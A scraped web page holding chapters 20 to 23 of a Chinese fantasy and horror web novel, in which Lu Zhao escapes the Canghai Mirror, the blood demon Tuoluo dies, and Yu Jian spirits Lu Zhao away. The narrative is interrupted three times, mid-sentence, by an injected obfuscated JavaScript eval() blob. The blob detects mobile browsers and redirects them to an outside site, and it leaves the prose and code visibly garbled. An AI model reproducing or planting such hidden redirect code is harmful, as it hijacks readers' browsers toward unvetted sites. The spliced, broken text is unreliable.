“不要去。”小男孩害怕地抱住余锏的脖子。 余锏愣了一下,沉默着没有动。不知道在想什么。 陆昭看着余锏,心急如焚。他不会真的不进去吧? 说来奇怪。余锏应该知道这是假的,可他为什么犹豫? 陆昭看向扒住椅子的黑手,试图挣脱。 或许是因为余锏打开了门,陆昭感觉束缚自己的黑手力量变小了。 他靠近了镜子,费劲地伸出手。 他的指尖成功触碰到了镜子,甚至还伸进去了一点。 陆昭怔了怔,试着开口:“余锏?” 镜中余锏的耳朵动了动。 他侧过脸,看上天际,恰恰对上陆昭的视线。 明明没有面对面,陆昭却觉得他看到自己了。 “余锏,你快进去吧。”陆昭冷静地说。 无论如何,破局的关键就在福利院里。 余锏向来雷厉风行,若非他次次当机立断,自己跟闻晧早就死了。 这次也该一样。 但陆昭从他眼里看到了挣扎。 挣扎? 这种情绪怎么会出现在余锏身上呢。 陆昭在愣神。 “不要去。”小男孩紧紧搂着余锏的脖子。 他的双手像一把钳子,力道慢慢地紧了。陆昭看见余锏的脖子上已经出现了青紫,但他像个没事人一样,只是一语不发。 “余锏!”陆昭着急。 不知是否如梦初醒,亦或者陆昭这一声起了作用。余锏伸手掐住了小男孩的脖子,将他拽了出去。 小男孩没有摔在地上。落地之前他就消失了,随后余锏身后传来他稚嫩的声音:“哥哥,你见过我妈妈吗?” 门已经开了,但他并不进来。似乎小男孩会永远在门口等着,等他的妈妈来。 余锏眉头皱得深。深深的川字。 这是陆昭第二次看到他这个表情。 他的脚尖转向门口,看样子又要去找小男孩了。 只为了帮他找妈妈? 陆昭发现闻晧那边已经不对了。 他连续四次进入雾里又回到福利院前,脸上竟慢慢瘦削了下去,仿佛气血渐渐被抽光。 陆昭怕他死了,急切地催促余锏,“余锏,求求你,快进去吧。” 他知道余锏动了恻隐之心,可这一切都是假的。 余锏还在原地。良久,忽然抬起步子往福利院走去。 穿过游乐设施,他来到大房子前。 房子的每个窗户都被涂上了黑漆,看不见里面的情况。 他找到了门,没见过这种拧开的圆头门锁。更没见过这样奇怪的建筑。但他很快明白如何打开,转动门头,走了进去。 属于余锏的镜子破碎了。 碎片飞过陆昭的脸,在他的脸颊上留下细碎的创口。 下一刻,他看见了余锏。他安静地站在离自己几步远的地方,遥遥相望。 陆昭刚要解释自己为什么会被困在这里,却听余锏说:“那个孩子是你。” 陆昭不知道该说什么。 他不想谈论这个话题。 “余锏,血魔说我是祭镜人。他故意等我来,就为了利用我修复好沧海镜,但我不明白他为什么在等天黑……” “为什么要伤害自己?” 两个人同时说话。 陆昭没听清楚他说什么,话语就此打住,过了一秒才问:“你说什么?我没听清。” “没什么。” 余锏又变回那副冷冰冰的,喜怒不形于色的样子了。 他这样,陆昭反倒安心。 “余锏,你知道我要怎么才能出去吗?”陆昭问。 “活人与沧海镜结契,是祭镜。沧海镜会困着你,直到吃掉你。靠你自己离开的办法,我不知道。” 陆昭脱口而出:“会有你不知道的事?” 余锏走到他面前,看进他眼睛里,“你。” 陆昭用了一点时间才反应过来他在说什么。 “你不是很擅长推理么,现在你跟那两个厉鬼的处境一样,你说,出去的办法是什么?” 陆昭并不觉得擅长推理。 如果擅长,他早就可以搞明白那个问题了。 “我不……”陆昭声音很低。 “姓闻的活不了多久。” 陆昭困惑地看了他一眼。 他说得对,闻晧快挂了。 陆昭深呼吸,回想自己来到异世界之后的种种经历,或许余锏说得对,他跟沧海镜也算有“交情”了,对它的了解肯定比没有近距离接触过的余锏多。 一面镜子破碎之后,陆昭能活动的幅度更大了。 陆昭试着挪到闻晧的镜子前,复刻自己呼唤余锏的方式。 或许是“中毒太深”,他听不见。 陆昭紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408844|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抿着唇。 他看着指尖出神。 缓慢举起手,看着与镜面平行的五指。 既然碰到镜面就可以让里面的人听到自己说话,那是不是也能进去……? 余锏:“醍醐天的人应该已经到了。” 陆昭微微一怔。 他若有所思地看向镜中的陀罗,“如果我是血魔,会怎么对付醍醐天的人?” 余锏眼里有一丝笑意,“有现成的。” 山洞外。风雪漫天。 白衣男人手中提着丧魂,将他丢进山洞。 丧魂在地上一动不动。他脸上的麻布已经被揭开,露出一张瘦削清癯的脸。两颊深深地凹陷进去,和眼窝一样。两眼紧闭着,看样子已经死了。 身后师弟:“大师兄,没想到万古愁也会有狗咬狗的事发生。天魔偷了圣器,而这圣器又为他的师弟所偷。可若真是被他修好了沧海镜,我们贸然进去岂不很危险?” 说完踢了一脚丧魂的尸体,“这血魔还真是谨慎,对他如此忠心耿耿的下属都防着。” 就算用上了能让人吐露真言的法器,他们也没能从丧魂这里知道血魔真正的打算。只知血魔藏身之处,以及他让丧魂到处抓活人当血奴。 几人马不停蹄地赶往雪山。路上又从丧魂处得知有三个很特别的血奴,在他们破除阳城结界时就在城里。血魔嘱咐过他,不能杀,务必留其性命。 这很奇怪。但几人没时间折返一探究竟,想来结界破了,他们肯定逃走了。 几人这么急,是因为丧魂告诉他们,血魔跟他说沧海镜很快就能修好。他会借此回到过去,在天尊羽翼未丰时杀了他,帮助自己取而代之,成为万古愁之主。 女修:“大师兄,来的路上我看到两匹无主的马,可这地方出现马不是很奇怪么?也许里面有危险,咱们要小心。” 白衣男人点头:“你说得对,大家戒备。” 五人走入山洞。 浓重的雾气席卷了他们。白衣男人抬起手遮掩了一下,放下袖子时,眼前场景骤然变化。铁门,小男孩,大房子。 他怔了怔,正要走上前,忽然头顶传来一道声音。 “出路在前面,打开铁门一直走,进那间房子。” 白衣男人找不到声音的来源,此刻他还记得自己的来意,拱手道:“在下醍醐天弟子谈仲先,阁下是谁?” “你先出来。”声音很缥缈。 谈仲先沉思,应不应该信? 他很谨慎地往后退了一步,转身离去。走了一段雾蒙蒙的路,又回到原地。那声音再度响起:“你出不去的,这里属于沧海镜。” 沧海镜! 谈仲先心神为之一振,莫非这声音是血魔? 不对。不对。丧魂说血魔受了重伤,已经是一个耄耋老人。这声音听上去分明是个年轻人…… 谈仲先看向前路,他走向那小男孩。 “哥哥,你见过我妈妈吗?” 谈仲先摇头,“没见过。小兄弟,那铁门后面通往哪里?” 小男孩指着他身后的来时路,“我妈妈往那边去了,大哥哥你可不可以带我去找妈妈?” 谈仲先打量着小男孩,不过几秒,直起身径直走向铁门。 他拔剑弄坏了门锁,又在原地等待了一会儿,见无异样,这才走向前方。每一步都很谨慎,观察四周。手掌紧紧攥着剑柄,因为紧张,额角微微渗出冷汗。 走到门前,看着圆形门把手,他没有用手触碰,而是用剑斩下了把手,以剑尖推开了门,走了进去。 伸手不见五指的空间。 坐在椅子上的人。 环绕着他的六面镜子。 年轻人自我介绍。 “你好,我叫陆昭。是沧海镜的祭镜人。” 21. 第 21 章 女修推门而入,看见谈仲先,喜出望外:“大师兄!太好了,你真的在这里。” 谈仲先颔首,看向陆昭,“多亏了陆兄弟,要不是我,我们会被困死在这幻境里。” 陆昭脸色煞白。他手臂上红线织就的绿叶已经消失,花瓣片片凋零。一股钻心的疼向心脏延伸。 余锏站在他身后不远处,看着他,一语不发。 谈仲先关心道:“陆兄弟,很痛吗?” “没事。”陆昭摇摇头,“还有一个人。” 幸好他先放进来的是谈仲先。谈仲先把只有醍醐天弟子才知道的密语告诉了他,接下来四个人便顺理成章,很简单地引导他们进来。 每多一面镜子被打破,陆昭的疼痛就增加一分。 他主动帮每一个进入幻境的人违背了规则,这是惩罚。 但镜子碎得越多,他能深入镜面的部分越多。 眼前只剩下两面镜子了,陆昭已经可以从椅子上站起来,但他仍然无法离开镜面围住的范围,外面的人也进不来。 他走到闻晧的镜子前,伸出手。 手臂深入到了镜中。 陆昭迟疑了一下,接着再也没有半点疑虑,将大半个身体探入镜中。 闻晧牵着小男孩的手,忽然觉得很晕,仿佛下一秒就要晕倒在地,“先让我缓一下,又来了……” 等等,他为什么要说“又”? 闻晧忽然感到肩膀一紧,回过头,两只手凭空出现,接着是手臂,然后是上半身,再然后是陆昭的脸。 他打了一个激灵,想起来了,“老陆!” “出路在铁门后面。”陆昭用力地推了他一把。 闻晧撞到铁门上,满头冒金星。 这么一来他清醒了。扯了一把门锁,当机立断,往后退了几步,用身体大力撞门。如此几下,终于撞开了。 闻晧爬起来,闷头狂奔,直到撞开门,才放任自己和“大”字一样倒在地上。 他喘着粗气,看见一抹白衣在自己身旁落下,“这是补气丹,吃吧。” 他下意识接过药瓶,说完一声“谢谢”,忽然意识到这是醍醐天的人。 他一个鲤鱼打挺坐起来了,见几人都在,“这、这,怎么你们在这里?” 女修将药瓶塞进他手中,“先疗伤。” 这可是醍醐天的丹药。闻晧如获至宝,小心翼翼地倒出一粒,放进嘴里,口舌生香。忍不住眯起眼飘飘然,细细品尝。 谈仲先无法靠近陆昭,只能站在外围。 蓦地,他注意到了余锏,心下一跳。 此人是什么时候出现的?他进来这么久,竟没觉察到其气息。 谈仲先忍不住打量起余锏来。 余锏淡淡地抛来一眼。 两人视线在空中交汇。不约而同地在眉心画出一个“川”字。 陆昭把闻晧救出来了,接下来就是想想怎么让所有人离开这里。 他手臂上的花已凋零得只剩一支花茎。 像随意用红笔在皮肤上划了一道。 “陆兄弟。” 陆昭看向谈仲先,后者与他关心着同一件事,“血魔还在外面,我们必须出去。” 陆昭忽然想到这沧海镜是醍醐天的圣器,说不定他会了解,“谈大哥,你知道血魔为什么要等天黑么?” “天黑?”谈仲先拧着眉想了一会儿,“陆兄弟,沧海镜被偷走时我还是个孩童,未曾亲眼所见。但醍醐天典籍中记载说,沧海镜能回溯时光,需借助月华之力。血魔在等天魔,莫非是在等月光?” 那不就跟月光宝盒一样。 陆昭忽然想到自己在天台画所谓的“复活法阵”,也是在晚上。一个月亮亮得惊人的夜晚。 “那你知道祭镜人吗?” “典籍中记载——” “连通过去与未来之人。” 谈仲先的话被余锏打断了。 两人不约而同地看向余锏。 谈仲先的神情里带着些许忌惮和困惑,陆昭则是茫然。 “过去、未来?”陆昭重复。 “并不是谁都能祭镜,你不一样。”顿了顿,余锏继续往下说,“陆昭,你知道为什么的,仔细想想。” 仔细想想…… 赵阿夭和王慧都是从沧海镜中获得力量的。 他反其道而行,主动帮助其他人破坏自己的“规则”,虽然感觉到莫大的疼痛,但却拥有了更多干涉幻境的力量。 余锏说沧海镜困住他是为了吃掉他。 怎么就算“吃掉”? 谈仲先张了张嘴。沧海镜是醍醐天的圣器,早年遗失,他自然将有记载的典籍看了个遍,希望有一日能寻回。若论为陆昭解答,自己再合适不过。 可这个黑衣男人是谁?他为什么会知道有关沧海镜的秘辛? “我明白了。” 陆昭忽然出声,急切地看向余锏,“赵阿夭和王慧杀的人越多,执念越深,这是沧海镜的‘食物’。但她们是鬼,我是人,还是连通过去和未来的媒介。所以,我猜如果你们被困死在沧海镜伪造的我的执念里,我反而会越来越虚弱,直到死掉,被它吞噬?” 他在等余锏的看法。 余锏只说了两个字:“伪造?” “这不重要。”陆昭一笔带过,“我反其道而行,帮你们破坏规则,才能挣脱沧海镜的束缚。至于这些痛觉,都是它设下的阻碍。” “这些我没在书上看过。”谈仲先思索,“但我觉得陆兄弟你说得在理。” 陆昭还有不明白的地方,他指着面前仅剩的镜子,“可为什么血魔没有被拖进来?” 余锏:“他是纳兰的师弟。” 陆昭不明白这句话的意思,谈仲先明白了:“陆兄弟,沧海镜就是万古愁的天尊纳兰偷走的。血魔陀罗是他的师弟,或许从他那里知道了使用沧海镜的办法。” 说完,谈仲先暗暗看了眼余锏。 他究竟从何而来? 余锏眼里倒映出陆昭的模样。 “办法在你手里。” 手里。 陆昭真的去看自己的手。他来到这个异世界还没半个月,经历了这么多事,受了很多次伤,都在手上。 过得一会儿,他问了一句: “天要黑了吗?” · 知道丧魂死了,陀罗很是惋惜。 他有四个下属,丧魂最为忠心耿耿。 死了,不知去哪里再找这么好的牛马。 陀罗从袖中取出三只纸鹤,挥手扬了出去。 纸鹤落地之前震动双翅,飞快地朝远方飞去。 他算了一下距离,天亮之前那三人能到。 回到山洞,陀罗拿起复原的沧海镜,仔细端详。 不愧是圣器,谁说破镜不能重圆? 只要沧海镜顺利将祭镜人“炼化”了,就可以借月光打开过去的通道。就算他现在只剩三成功力,杀个醍醐天弟子不在话下。 陀罗抬起头。 白骨王座上方早就被打通了,有一个洞口,让天光轻而易举地洒下来。 月亮已经升到天上了。 陀罗小心翼翼地将沧海镜放到镜架上,盘膝坐下。口中念念有词,手上不停。月光像丝线流到他指间,他笨拙地挑动,宛如弹奏琴弦。 只是他弹得实在不好听,磕磕绊绊。很不熟练。 随着乐章,镜面慢慢泛起柔和的光。 陀罗喜出望外。 多年梦想就在眼前。 然而一曲完毕,沧海镜没有新的变化。 陀罗脸上的笑慢慢僵住了。 哪里出了问题? 他扑向沧海镜,死死地盯着朦胧的月华。 并不死心。陀罗又尝试了一遍,仍是无用功。 他发狂。 究竟是哪里出了问题?! 难道纳兰骗了他? 陀罗心中浮现那男人经年如雪山般的脸。 他所了解的一切与沧海镜有关的事都是那个男人说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413693|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 两人虽是师兄弟,可自己不过比他慢入门了七天。 七天,足以让他三十年都屈居于一人之下。 陀罗最恨的就是纳兰那副无所谓的神情,仿佛世间没有什么可以动摇他。没有什么可以让他恐惧。 他那样的人,不是不撒谎,是不屑撒谎。 “不应该有问题……”陀罗死死地瞪着沧海镜。 如何驱动沧海镜,如何打开时空通道,都是纳兰告诉他的。 纳兰找了三十年都没找到的祭镜人,他找到了。 万事俱备,为何他不行? 为何呢?! “师兄,我究竟哪里比不过你?” 陀罗呢喃。 情绪牵动三重旧伤,他颤抖着呕出一口血。 陀罗猛地抬头。莫非是祭镜人出了问题? 想了想,冒着风险解开了护体魔气。环绕着他的看不见的空气“破”地一声,霰雪般散去。 忽然起雾了。 雾气不知从何而来,将陀罗彻底包裹。 他挥开雾气,向前走去,看见了一条小路。路的尽头站着一个小孩,还有一扇大铁门和遥远的大房子。 他拧着眉向前走去,忽见前面数道人影逼来。 定睛,竟是醍醐天的人。 怪哉!他们进来时就被拖入沧海镜,怎么还活着? 陀罗伤势未愈,不想与他们正面冲突,即刻转身离去。 然而他钻进雾里,走出好一大段路,却发现自己回到了原地。 陀罗愕然。 他慌忙掐诀。却被剑光打断,谈仲先和同门守在浓雾入口,就是为了强留陀罗。 陀罗幻身躲过,蓦地如芒在背!他扭头,看见一个黑衣男人抱起了那个小男孩,并向他看来。 陀罗记得此人。他是丧魂抓来的血奴之一,在血池洞窟里被那狡猾的混小子计算,未能吃了。 当时只觉是个极品血奴。现在看着那双黑漆漆的眼睛,浑身的汗毛都竖起来了。 他想起了一个人。 “拿命来!”醍醐天五人围攻陀罗,打断他的思绪。 陀罗慌忙躲闪,祭炼魔气,先攻击修为低的。 男修眼睁睁看着陀罗的血爪袭向面门。 “大师兄!” 他惊愕出声。身前,谈仲先替他挡了一下。 谈仲先用罡气震开陀罗,肩膀鲜血淋漓,只是皱了下眉。 陀罗被逼得后退了两步,认出他的身份。 他想到了什么,哈哈大笑:“你就是谈仲先,冯香兰和谈如海的儿子,你可知——” “呲”!他抽搐了一下,捂住后脖颈。 陀罗睁大双眼,扭过头,看向那抱着小男孩,站得很远的黑衣男人。 他袖子下的手指柔软得仿佛拨动着琴弦,红线细得几乎看不见。 陀罗顾不得后脖颈的断口,遁入雾中。 然而他已被沧海镜困住。 从雾中出来,迎接他的是剑光。 如此数次,陀罗明显感觉到身体逐渐发力,头脑竟开始一片空白,动作也慢了许多。 如此三次,陀罗再度现身时,谈仲先竖剑身前,唤了一声:“列阵!” 醍醐天五人结成剑阵。五把剑变换成上千把,气势汹汹地压了过来。 陀罗只得又转向浓雾。浑然未觉一双手突然出现,用力地扯了一下他的衣袖。 就只是这一瞬间。 剑光吞噬了陀罗。 这刺眼的光芒让陆昭和闻晧都看不清发生了什么事。 等光芒散去,就见陀罗立在原地。 看上去毫发无损。 闻晧急道:“不会吧,这都不死?老陆,这下糟了。” 话音方落,就见陀罗身上出现了数以百计的血洞。 血汩汩流了一地,他像一块被热化了的蜡,先是脚,再是膝盖,再是肩膀。烂泥般坠在地上。 好一会儿闻晧才反应过来,“他、血魔真的死了?” 22. 第 22 章 血魔确实死了。 谈仲先没想到这般轻易。血魔刚出现时,他觉察不对。 血魔陀罗是万古愁资历最深的堂主。 实力仅次于天尊纳兰。 就算他被纳兰重伤,功力退行,从万古愁逃出来的这些时日不够他疗伤么? 太不对劲了。 同门也不敢相信他们这么轻易就杀了万古愁的堂主。 女修率先行动,用剑刺了一下地上的烂泥。 没有反应。 她松了口气,“大师兄,血魔真的死了。可,我们现在怎么出去?” 血魔死了,几人也还被困在沧海镜里。 谈仲先冷静道:“问问陆兄弟。” 这次出来应有两件喜事。 第一件,杀了万古愁堂主,血魔陀罗。 第二件,寻回醍醐天丢失的圣器沧海镜。 谈仲先不由得看向角落。 他愣了一下。 那个黑衣男人和小男孩都不见了。 闻晧以为血魔死了,他们就能出去了。 但自己还在原地,“老陆,我们怎么出去?” 陆昭也不知道,“我想想。” “陆昭。” 陆昭晃了下神,看见余锏抱着小男孩走过来。 和小时候的自己面对面,这感觉很诡异。 小男孩像个精致的瓷娃娃,一动不动。 余锏把他放下来,轻轻一推,小男孩主动走到了陆昭面前。 他们都近不了陆昭的身,只有小男孩可以。 陆昭心里有不好的预感。 “杀了他,陆昭。” 余锏声音缓而低。 像弓毛划过大提琴的低音弦。 闻晧“啊”了一声,破音了。 陆昭眉尾抽搐了一下,知道他这么说肯定有原因。 “杀了他,我们就能出去?” 余锏点头。 余锏一直都是对的。 他没有错过。 陆昭眉头紧锁,看着呆呆的自己。 他记不清自己小时候长什么样子,也很难回想现在自己在镜子里的模样。眼前的小男孩,有种不真实感。 闻晧:“余老兄,这可是老陆小时候,让长大的他杀了小时候的自己,这也太残忍了!肯定有别的办法!” “但这是最快的办法。”陆昭看余锏,“对吧?” 沉默就是余锏最好的回答了。 陆昭慢慢伸出手。 他咽了一口口水,感觉到心从喉咙滑下去,坠到肚子里。 钝钝的。 闻晧不支持陆昭这么做,他想挤到陆昭身边,奈何无形的屏障像铜墙铁壁,“老陆,我们找别的办法,就算慢一点也没关系……” 陆昭已经掐住了自己的脖子。 他闭上眼,手上用力。 好一会儿,他听见闻晧大呼小叫:“出来了!老陆,出来了,我们没事了。” 陆昭睁开眼。他还维持着掐脖子的动作,掌心空落落的。心里也空落落的。 谈仲先几人也出来了,环顾四周。 余锏拾起从王座上掉落的沧海镜,翻过来。背面纹路完整,只是灰蒙蒙的。 他把玩着沧海镜,全然不理谈仲先的注视。 谈仲先的直觉在疯狂咆哮。 这人绝对有问题。 闻晧为大家脱险而高兴,关切陆昭道:“老陆,你没事吧。” 陆昭慢慢把手放下,露出一个笑容,“没事。” 闻晧眼巴巴地看向谈仲先。 他纠结地叹了口气。 血魔不是死在自己手里,他进不了醍醐天了。 陆昭看出他心中所想,走向谈仲先。 谈仲先的手不自觉地按在了剑柄上,忽然视野里闯入陆昭。 他愣了一下,把手垂下,“陆兄弟。” “谈大哥,我朋友闻晧中了毒,能不能带他回醍醐天解毒?”陆昭解释道,“你们之所以能杀了血魔,有他很大功劳。先前他故意让血魔吸了他的血,血魔才中毒了。” “中毒?”谈仲先纳罕。 他想了想,“怪不得血魔实力不足三成,是什么毒,这么厉害?” 闻晧赶紧:“是我老爹研制的奇毒,他是我们村里的药师。” “这么厉害?”谈仲先微笑,“当然没问题,闻兄弟,你就跟我们回醍醐天。” 闻晧有些纠结。就当是醍醐天几日游,他怕自己舍不得走。 陆昭:“谈大哥,我也有功劳吗?” 谈仲先正色,“当然,陆兄弟,这次若不是你,我们绝不会不损一兵一将就杀了血魔。你还帮我们从沧海镜里出来了,绝对是大功臣。” 陆昭:“那我可以邀功吗?” 谈仲先诧异,“陆兄弟,你想要什么?” 陆昭回头看闻晧,“闻晧很想进醍醐天,这是他的梦想。他想亲手杀了血魔,当加入醍醐天的诚意。谈大哥,我用这份功劳,换我的朋友进醍醐天,可以吗?” 闻晧惊讶地看着陆昭。 谈仲先想了想,“陆兄弟,醍醐天门规有云,擒拿魔修有功。陀罗是万古愁的堂主,身份非同一般。你这次帮了我们大忙,若是你自己想进醍醐天,完全可以。可要是把这个资格给了你朋友,你就不能进了,你确定吗?” 陆昭是要回家的人,不在乎这些,“当然。” 谈仲先颔首:“好,陆兄弟志不在此,谈某敬重。” 闻晧十分感动,泪汪汪的,赶紧帮陆昭请求,“谈大哥,还有一件事。老陆的功劳可不止帮你们杀了血魔,他还帮醍醐天找回沧海镜。可以用沧海镜帮他回家吗?” “回家怎么要用到沧海镜?”谈仲先的笑容渐渐敛了,换而皱眉,“陆兄弟,难道你……” 咻—— 谈仲先拔剑,寒光照亮双眼,贴着鼻尖。 数道细如发丝的红线竖在剑刃上。 线的那头连着一只骨节分明的手。 与此同时,洞外旋来十几道飞刃。 其余几人慌忙抵挡。 叮叮当当。 不知哪来的铃铛响,数根布条飞来。 看着柔软的布条竟十分锋利,划伤了一名弟子的脸。 好似钉子钉入墙中。清脆作响,那上面系着无数铃铛,剧颤之际,铃铛缝隙中渗出一缕缕青气。 谈仲先终于验证了心中所想。 这个黑衣男人与陆昭、闻晧不一样。 他是魔道! 两人同时动了。 谈仲先意欲斩断红线,余锏反欺身而上。 左手揽过陆昭,右手抬起,故意接了谈仲先一剑。 剑刃划破他的肌肤,血滴答滴答地落在地上。 那血竟动了起来。 好似有生命一般。 同门发现青气有毒,纷纷捂住口鼻:“大师兄,快走!” 闻晧被这一下弄懵了,还未搞清谁正谁邪,就见余锏落在地上的血长出了密密麻麻的红线,万物生长,缠住谈仲先手腕。 陆昭愕然地看着。 余锏的脸贴着他的侧耳。 “闭眼。” 他听话地闭上眼睛。 身体陡然变轻,似乎是飞到空中。 兵器撞击之声不绝于耳,夹杂着几声闻晧的呼唤。 “老陆!老陆!” 陆昭忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430476|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要睁开,却被余锏捂住了眼睛。 有什么落到了他的皮肤上。 陆昭忍不住颤了一下。 很冷。 同样冰凉的风刮着脸,周遭温度骤然降低了。 打斗声渐渐没了。 只有呼啸的风声。 像有一个世纪那么漫长,陆昭终于踩到了坚实的地面。 放在他眼睛上的手拿开了。 陆昭睁开眼。 他在山顶上,周围是陌生的风景。 环顾四周,只有自己跟余锏,“老闻呢?” “他没死。” 三个字,没有下文。 陆昭继续问:“谈大哥救走了他?” 余锏沉默地看着他。 良久,他忽然上前。 陆昭下意识让开路,却被石头绊倒,一屁股坐到了岩石上。 “陆昭,你觉得我是好人?” 余锏摩挲着袖子里沧海镜的边缘,语气漫不经心的。 陆昭像只呆头鹅。 “你是个好人。” 余锏的眼尾抽搐了一下。 陆昭浑然不觉,“余锏,你是我见过最好的人。” 余锏张唇,发出夹杂些许嘲讽的“哈”。 陆昭真心觉得他是个好人,铺陈事实,“这一路上要不是你帮忙,我和老闻或许已经死了。余锏,你是一个热心的好人。” 余锏像吞了一只味道并不差的苍蝇。 他看陆昭的眼神太过复杂。 “姓谈的差点就知道了你是异世来的。” 陆昭不解,“是啊,这又没什么,你和老闻都知道。” 余锏的表情意味深长:“醍醐天自诩除魔卫道,最是容不下异类。若他知道你来自异世,就会把你关起来。” 陆昭愣了愣,“沧海镜不是能送我回去吗?他们没必要这么做。” “醍醐天没有会用沧海镜的人。” 余锏淡淡道。 陆昭明白了。 如果他回不去,那就是一个异类,按照醍醐天的规矩,必须关起来。 那不就跟犯人一样? “醍醐天不是正道吗?” “正道规矩最多。” 陆昭明白了,启齿而笑:“原来醍醐天跟福利院一样啊。” 余锏心里莫名地不爽了起来。 他没有问陆昭幻境里的事,是不感兴趣。 可陆昭一副毫不在意的模样,听到会被关起来也丝毫不惧,让他无由来地烦躁。 陆昭像是下了决定,“但沧海镜是醍醐天的圣器,或许他们能研究出办法。关一阵子也没什么,毕竟是正道,不会杀了我。余锏,你接下来要去哪里?要是不方便,我可以走回去。” 他说着,站起来,仿佛真要靠两条腿翻山越岭,走到谈仲先面前,“束手就擒”。 “啊。”陆昭吃疼地喊出声。 无他,余锏忽然欺身,按住了他的肩膀,迫使他坐下。 他抬起头,撞进他愠怒的眼睛里。 “你……” 他在生什么气? “我师尊知道怎么用沧海镜。” 陆昭眼睛一亮,没去管余锏变化的眼神,“那太好了,能请他送我回去吗?” “你想回去,今晚就行。” 余锏视线从他的眼睛上下挪,“天亮了。” 陆昭明了,“需要月光?” “嗯。”余锏松开了他,“他不喜欢见外人,你在这里等我。晚上我回来,送你回家。” “很远吗?”陆昭问。 余锏的手从他肩膀上收了回去。 恰好划过了陆昭的脸。 “很远。” 23. 第 23 章 天色渐渐暗了下去。 陆昭坐在石头上,吹亮了火折子。 火光如荧,随风飘散。 夜晚的山顶有点凉,更多是寂静。 陆昭不由得想到了闻晧,他在这里会不会害怕呢?毕竟他那么怕鬼。 他仰起头看天,繁星密布。 城市里很少有这么明亮的夜空。他不觉看得出了神,想起小时候在福利院的夜晚,坐在秋千上,仰起头也能看到这样的夜。 忽然,陆昭听到响动。 像有什么在草丛里走动,发出“沙沙”声。 山上有野兽? 他紧张了起来。没想到这一点,应该跟余锏要防身的武器。 陆昭随手拾起了一个树枝,挡在胸前。 他没有动,大多数动物看到会动的猎物都会兴奋。或许跑动会带来不好的后果。 蓦地,有什么从草丛里飞了出来,划破了陆昭的脸。 风声在耳边。 他的血还未顺着脸颊滴落,身体被重重地压在地上。 陆昭吃力地睁开眼。勉强辨别出有人朝他走了过来。 一个男人的声音低沉而沙哑,“天魔就死在他手中。” “看着是一个普通人。”一只鞋踩到了他脸上,伴随着雌雄莫辩的尖利声音,“就凭他,也杀得了天魔?” “天魔受伤了。他身边只跟着丧魂,那个废物。”这声音听着阴冷阴冷的。 “怎么只来了个分身?”前者语带不悦,“老枯,天魔让我们亲自前来,你连他的命令都不听了?” 老枯:“天魔已经死了。” “若无天魔,你我早就死了。我们的命是天魔的。” 老枯冷笑:“豺厌,你这么想,可别带上我。” “够了。”最开始的声音喝止,“天魔说过,时也命也,他孤注一掷,不成功便成仁。这次醍醐天的人也掺和进来了,加上沧海镜选中的祭镜人克制了他,天魔才失败的。” 一道目光细细地打量陆昭,靴子逐渐用力,在他脸上碾出红痕。 “我还是不相信是这么一个小子杀了天魔。” 说完,他叹了口气,“默煞,听说他们有三个人,另外两个找到了吗?” “一个被醍醐天带走了,另一个……”顿了顿,默煞缓缓道,“先论眼前。要杀了他吗?” “天魔已经死了,杀了他也无济于事。” 脸上的靴子可算挪开了。 陆昭浑身使不上劲,感觉自己被人掐住脖子提了起来。 双脚离地,他费劲地想看清楚眼前人是谁。 可恨影影绰绰,比天上的星星还难认。 “这是什么?”有人好奇道。 陆昭感觉到自己的脖子一紧。是玻璃瓶被扯下时红绳勒了一下。 他登时着急了,“还给我!” “看来是很重要的东西。”对方语带兴味,把玩着玻璃瓶,“你们说这里头是什么?” 有人抢了过去,打开了,“呸,是骨灰。” “真恶心。”豺厌嫌恶地调笑,“随身带着的骨灰,一定很重要吧。” 一只冰凉的手拍了拍他的脸,“小子,是谁的骨灰?” 陆昭闭口不言。 “不说?”那手下滑,贴住了他的心口。 陆昭忽然感觉到心口剧痛,像利爪穿透皮肉,要把他的心掏出来看看。 “豺厌。”默煞打断了他的动作。 豺厌不满道:“他不说,我就掏出来自己看,怎么了?” “天魔已经死了。”默煞道,“眼下群龙无首,你们打算怎么办?” 豺厌冷冷地笑:“天魔说过,就算他死了,也不得令纳兰善终。我当然要实现他的夙愿。” “和纳兰对着干。”默煞态度不明,“老枯,你呢?” 老枯:“不管如何,天魔对我有恩,我虽不想死在纳兰手里,但他让我做的事,我会做完的。” “好,那就还照计划行事。兴许天魔在黄泉见到纳兰,也会高兴。” 说罢,陆昭忽然感觉到身体一松,攥住他脖子的手放开了。 他摔在地上,浑身绵软无力。 “你干什么?”豺厌不满道。 默煞:“没必要杀他,你知道天魔最喜欢折磨人。既然这骨灰对他这般重要……” 陆昭忽然听到了风声。 